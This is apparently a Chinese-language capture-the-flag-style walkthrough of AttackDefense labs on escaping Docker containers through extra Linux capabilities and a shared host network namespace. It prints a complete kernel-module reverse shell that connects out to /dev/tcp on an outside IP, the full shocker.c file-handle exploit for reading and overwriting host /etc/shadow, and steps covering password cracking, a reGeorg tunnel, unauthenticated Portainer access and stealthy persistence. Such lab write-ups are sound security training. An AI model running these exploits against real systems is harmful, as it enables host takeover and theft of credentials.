通过引入额外的 Linux
能力和共享网络名称空间来使容器逃逸更有趣。默认情况下,容器在有效集中以非常少的能力集运行,从而使环境难以破坏。
在上一篇文章中,已经了解了特权容器有多么危险,以及打破隔离是多么容易。在本文中,将学习如何在有效集中设置附加功能(如 SYS_MODULE
和 DAC
功能)时进行突破。稍后将看到在具有共享网络命名空间的主机 localhost 接口上运行的应用程序如何导致系统接管。
为了演示所有这些错误配置,我将使用来自攻击防御的以下实验室
当容器以 cap_sys_module
功能运行时,它可以将内核模块注入主机的运行内核,因为隔离是在操作系统级别而不是内核/硬件级别完成的,并且容器使用 docker runtime
引擎与主机内核通信。在本实验中,会发现容器runtime
带有额外的 cap_sys_module
能力,当使用默认参数启动容器时,该能力不会添加
// reverse-shell.c
#include <linux/kmod.h>
#include <linux/module.h>
MODULE_LICENSE("GPL");
MODULE_AUTHOR("AttackDefense");
MODULE_DESCRIPTION("LKM reverse shell module");
MODULE_VERSION("1.0");char* argv[] = {"/bin/bash","-c","bash -i >& /dev/tcp/10.10.14.8/4444 0>&1", NULL};
static char* envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL };
// call_usermodehelper function is used to create user mode processes from kernel space
static int __init reverse_shell_init(void) {
return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
}
static void __exit reverse_shell_exit(void) {
printk(KERN_INFO "Exiting\n");
}
module_init(reverse_shell_init);
module_exit(reverse_shell_exit);
# Makefile
obj-m +=reverse-shell.oall:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
clean:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
编译上面内核模块
在插入内核模块之前,需要在端口 4444 上启动一个 netcat
侦听器,以便在注入内核模块后立即获得反向连接。完成后,使用insmod
命令将模块插入主机的运行内核中
一旦插入内核模块,会发现一个反向连接创建并弹出了 bash shell
。
现在需要做的就是搜索一个flag
文件,它很可能位于根用户主目录中。检索flag
文件的内容
通常一个容器以cap_dac_override
能力开始,但如果在有效集合中设置了 cap_dac_read_search
能力,并且有对容器外部任何文件的引用,那么可以打开该文件的句柄并遍历主机的整个文件系统。使用 cap_dac_overrride
还可以更新文件内容。
通过简单的搜索,会在网络上找到一篇 docker breakout
帖子,它还会提供一个漏洞利用代码,名为shocker.c
幸运的是,发现有三个文件引用了主机系统文件中的文件。为了演示,使用/etc/hostname
. 如果利用这个文件失败,那么需要用不同的文件进行尝试
现在需要对漏洞进行一些修改,让它在当前环境中运行,因为发现容器中不存在/.dockerinit
文件。使用argv[1]
,这样就不必为任何文件一次又一次地重新编译漏洞利用。要读取文件,只需将文件绝对路径作为第一个参数传递给漏洞利用代码程序文件
....
- int main()
+ int main(int argc, char**argv)
....
- if ((fd1 = open("/.dockerinit", O_RDONLY)) < 0)
+ if ((fd1 = open("/etc/hostname", O_RDONLY)) < 0)
....
- if (find_handle(fd1, "/etc/shadow", &root_h, &h) <= 0)
+ if (find_handle(fd1, argv[1], &root_h, &h) <= 0)
....
所以如果想读取/etc/shadow
的内容,需要做的就是调用程序,比如./shocker /etc/shadow
. 在这里,会发现 root
用户可以通过 john the ripper
工具和 rockyou.txt wordlist
破解
在进一步枚举网络和开放端口时,发现 SSH 端口 222 在主机系统上是开放的。
使用上面使用 john the ripper
工具破解的密码,可以在主机系统上以 root
用户身份登录到 ssh
会话。
这将进入 root
用户的主目录,在那里可以找到名称中带有一些奇怪的十六进制字符串的文件。那是flag
文件。
在上面的实验中,已经看到如何使用 cap_dac_read_search
读取文件。这时将向前迈出一步,实际写入主机的文件系统。但如果容器在有效集中没有设置 cap_dac_read_search
能力,这是不可能的。在本实验中,这两种能力都在有效集中
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <errno.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <dirent.h>
#include <stdint.h>// gcc shocker.c -o shocker
// ./socker /etc/shadow shadow #Read /etc/shadow from host and save result in shadow file in current dir
struct my_file_handle {
unsigned int handle_bytes;
int handle_type;
unsigned char f_handle[8];
};
void die(const char *msg)
{
perror(msg);
exit(errno);
}
void dump_handle(const struct my_file_handle *h)
{
fprintf(stderr,"[*] #=%d, %d, char nh[] = {", h->handle_bytes,
h->handle_type);
for (int i = 0; i < h->handle_bytes; ++i) {
fprintf(stderr,"0x%02x", h->f_handle[i]);
if ((i + 1) % 20 == 0)
fprintf(stderr,"\n");
if (i < h->handle_bytes - 1)
fprintf(stderr,", ");
}
fprintf(stderr,"};\n");
}
int find_handle(int bfd, const char *path, const struct my_file_handle *ih, struct my_file_handle
*oh)
{
int fd;
uint32_t ino = 0;
struct my_file_handle outh = {
.handle_bytes = 8,
.handle_type = 1
};
DIR *dir = NULL;
struct dirent *de = NULL;
path = strchr(path, '/');
// recursion stops if path has been resolved
if (!path) {
memcpy(oh->f_handle, ih->f_handle, sizeof(oh->f_handle));
oh->handle_type = 1;
oh->handle_bytes = 8;
return 1;
}
++path;
fprintf(stderr, "[*] Resolving '%s'\n", path);
if ((fd = open_by_handle_at(bfd, (struct file_handle *)ih, O_RDONLY)) < 0)
die("[-] open_by_handle_at");
if ((dir = fdopendir(fd)) == NULL)
die("[-] fdopendir");
for (;;) {
de = readdir(dir);
if (!de)
break;
fprintf(stderr, "[*] Found %s\n", de->d_name);
if (strncmp(de->d_name, path, strlen(de->d_name)) == 0) {
fprintf(stderr, "[+] Match: %s ino=%d\n", de->d_name, (int)de->d_ino);
ino = de->d_ino;
break;
}
}
fprintf(stderr, "[*] Brute forcing remaining 32bit. This can take a while...\n");
if (de) {
for (uint32_t i = 0; i < 0xffffffff; ++i) {
outh.handle_bytes = 8;
outh.handle_type = 1;
memcpy(outh.f_handle, &ino, sizeof(ino));
memcpy(outh.f_handle + 4, &i, sizeof(i));
if ((i % (1<<20)) == 0)
fprintf(stderr, "[*] (%s) Trying: 0x%08x\n", de->d_name, i);
if (open_by_handle_at(bfd, (struct file_handle *)&outh, 0) > 0) {
closedir(dir);
close(fd);
dump_handle(&outh);
return find_handle(bfd, path, &outh, oh);
}
}
}
closedir(dir);
close(fd);
return 0;
}
int main(int argc,char* argv[] )
{
char buf[0x1000];
int fd1, fd2;
struct my_file_handle h;
struct my_file_handle root_h = {
.handle_bytes = 8,
.handle_type = 1,
.f_handle = {0x02, 0, 0, 0, 0, 0, 0, 0}
};
fprintf(stderr, "[***] docker VMM-container breakout Po(C) 2014 [***]\n"
"[***] The tea from the 90's kicks your sekurity again. [***]\n"
"[***] If you have pending sec consulting, I'll happily [***]\n"
"[***] forward to my friends who drink secury-tea too! [***]\n\n<enter>\n");
read(0, buf, 1);
// get a FS reference from something mounted in from outside
if ((fd1 = open("/etc/hostname", O_RDONLY)) < 0)
die("[-] open");
if (find_handle(fd1, argv[1], &root_h, &h) <= 0)
die("[-] Cannot find valid handle!");
fprintf(stderr, "[!] Got a final handle!\n");
dump_handle(&h);
if ((fd2 = open_by_handle_at(fd1, (struct file_handle *)&h, O_RDONLY)) < 0)
die("[-] open_by_handle");
memset(buf, 0, sizeof(buf));
if (read(fd2, buf, sizeof(buf) - 1) < 0)
die("[-] read");
printf("Success!!\n");
FILE *fptr;
fptr = fopen(argv[2], "w");
fprintf(fptr,"%s", buf);
fclose(fptr);
close(fd2); close(fd1);
return 0;
}
发现主机在端口 2222 上运行 SSH 服务器。但是无法通过 SSH 以 root 用户身份登录
既然可以覆盖文件,为什么不在当前容器中创建一个用户作为初始立足点,并使用漏洞覆盖/etc/passwd
和/etc/shadow
文件
首先,“上传”/etc/passwd
文件,然后在上传/etc/shadow
之前更新 root
用户的密码。可以通过简单地执行命令su -l root
直接升级到 root
用户
现在,如果您尝试以john
用户身份登录,它实际上会将您最初登录到低权限用户的 shell
如前所述,执行切换用户登录到roo
t用户并使用toor
作为密码,这在上传shadow
文件之前使用容器中的chpasswd
更新
基本上命名空间是内核管理的资源的逻辑划分,以便有效地共享资源。默认情况下,容器使用docker0
的网口,它的IP以172.17.0开头。当使用创建容器时--network host
,它将使用主机的网络接口,从而共享主机的网络命名空间。
在本实验中,发现一个 HTTP
服务在端口 10000
上运行。这很奇怪,因为默认情况下 HTTP
在 80
或 443
(如果是 TLS
) 上运行
它实际上在端口 10000
上运行 Wolf CMS
,并且容易受到任意文件上传的攻击。幸运的是,在实验描述中有登录凭证robert:password1
。可以在 /?/admin/login
找到管理面板。
查找并上传 reGeorg tunnel.php
文件。这会将通过 socksv4 把向 127.0.0.1 发出的所有网络请求隧道传输到容器的宿主机。为什么需要这个?这将允许通过从 reGeorg 传输数据包在容器宿主机上执行 nmap
扫描。所有上传的文件都可以在/public/
目录中找到。
要通过代理链启动隧道和路由流量,首先需要通过 reGeorgSocksProxy.py
启动隧道服务,如下所示。
现在,如果要运行proxychains nmap -sT 127.0.0.1
, 它实际上会通过隧道传输数据包并在容器的宿主机上执行扫描。
端口 9000 是可疑的,在本实验的描述中提到有 portainer
正在运行。所以这个端口可能正在服务 portainer
。Portainer
基本上是一种基于 Web 的工具,用于在同一屋檐下管理多个 docker
服务器。
要从浏览器使用 portainer
,需要在首选项的网络配置中配置 socks4
代理。配置完成后,只需打开http://127.0.0.1:9000
即可。
幸运的是, portainer
仪表板上没有身份验证
通过按顺序完成以下几点来创建和启动容器
mycontainer
)-wolfcms:latest
这将部署容器并重定向到所有容器页面
现在已准备好创建 exec
会话并获得提示符,就像在docker exec -it <container>
命令中所做的那样。单击选择的容器名称的圆圈图标。这将带您进入执行页面。单击下面的执行按钮生成一个 bash shell
chroot
进入/host
目录并检索flag
文件。为了进一步渗透,可以通过 root
用户启用 SSH
登录或向任何低特权用户提供 sudo
权限并使用该用户登录 SSH
服务器以避免怀疑